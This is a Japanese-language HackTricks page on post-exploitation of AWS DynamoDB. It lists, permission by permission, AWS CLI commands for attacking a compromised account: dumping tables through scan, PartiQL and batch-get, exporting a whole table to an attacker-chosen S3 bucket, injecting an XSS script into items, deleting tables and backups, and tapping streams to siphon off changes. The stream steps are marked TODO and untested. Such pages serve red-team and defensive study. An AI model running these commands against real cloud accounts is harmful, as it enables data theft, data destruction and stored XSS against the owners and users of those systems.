AWS - DynamoDB ポストエクスプロイテーション
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
DynamoDB
詳細については、次を確認してください:
dynamodb:BatchGetItem
この権限を持つ攻撃者は、プライマリキーによってテーブルからアイテムを取得することができます(テーブルのすべてのデータを要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(describe-table
))。
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:GetItem
前の権限と同様に これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
この権限を使用すると、transact-get-items
メソッドを次のように使用することも可能です:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:Query
前の権限と同様に これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、比較のサブセットを使用することを許可しますが、プライマリキーに対して許可される唯一の比較は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:Scan
この権限を使用して、テーブル全体を簡単にダンプすることができます。
aws dynamodb scan --table-name <t_name> #Get data inside the table
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:PartiQLSelect
この権限を使用して、テーブル全体を簡単にダンプできます。
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
この権限は、次のように batch-execute-statement
を実行することも許可します:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
しかし、値を指定してプライマリキーを設定する必要があるため、それほど便利ではありません。
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
この権限により、攻撃者は自分の選択したS3バケットにテーブル全体をエクスポートすることができます:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
この機能を利用するには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
それが有効でない場合は、有効にする必要があり、そのためには**dynamodb:ExportTableToPointInTime
**権限が必要です。
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
これらの権限を持つ攻撃者は、バックアップから新しいテーブルを作成することができる(または、別のテーブルに復元するためにバックアップを作成することさえできる)。その後、必要な権限があれば、本番テーブルにはもはや存在しない可能性のあるバックアップから情報を確認することができる。
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
潜在的影響: テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
dynamodb:PutItem
この権限は、ユーザーがテーブルに新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換えることを許可します。同じプライマリキーを持つアイテムがすでに存在する場合、全体のアイテムが新しいアイテムで置き換えられます。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが作成されます。
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
潜在的影響: DynamoDBテーブル内のデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用
dynamodb:UpdateItem
この権限は、ユーザーがアイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりすることを許可します。これはアイテム全体を置き換えるものではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
潜在的な影響: DynamoDBテーブルにデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用
dynamodb:DeleteTable
この権限を持つ攻撃者はDynamoDBテーブルを削除し、データ損失を引き起こすことができます。
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
潜在的な影響: 削除されたテーブルに依存するサービスのデータ損失と中断。
dynamodb:DeleteBackup
この権限を持つ攻撃者は、DynamoDBのバックアップを削除でき、災害復旧シナリオの場合にデータ損失を引き起こす可能性があります。
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
潜在的な影響: データ損失と災害復旧シナリオでのバックアップからの復元不可能。
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
note
TODO: これが実際に機能するかテストする
これらの権限を持つ攻撃者は、DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
- DynamoDBテーブルでストリームを有効にする:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- ARNやその他の詳細を取得するためのストリームを説明します:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- ストリームARNを使用してシャードイテレータを取得します:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
潜在的な影響: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。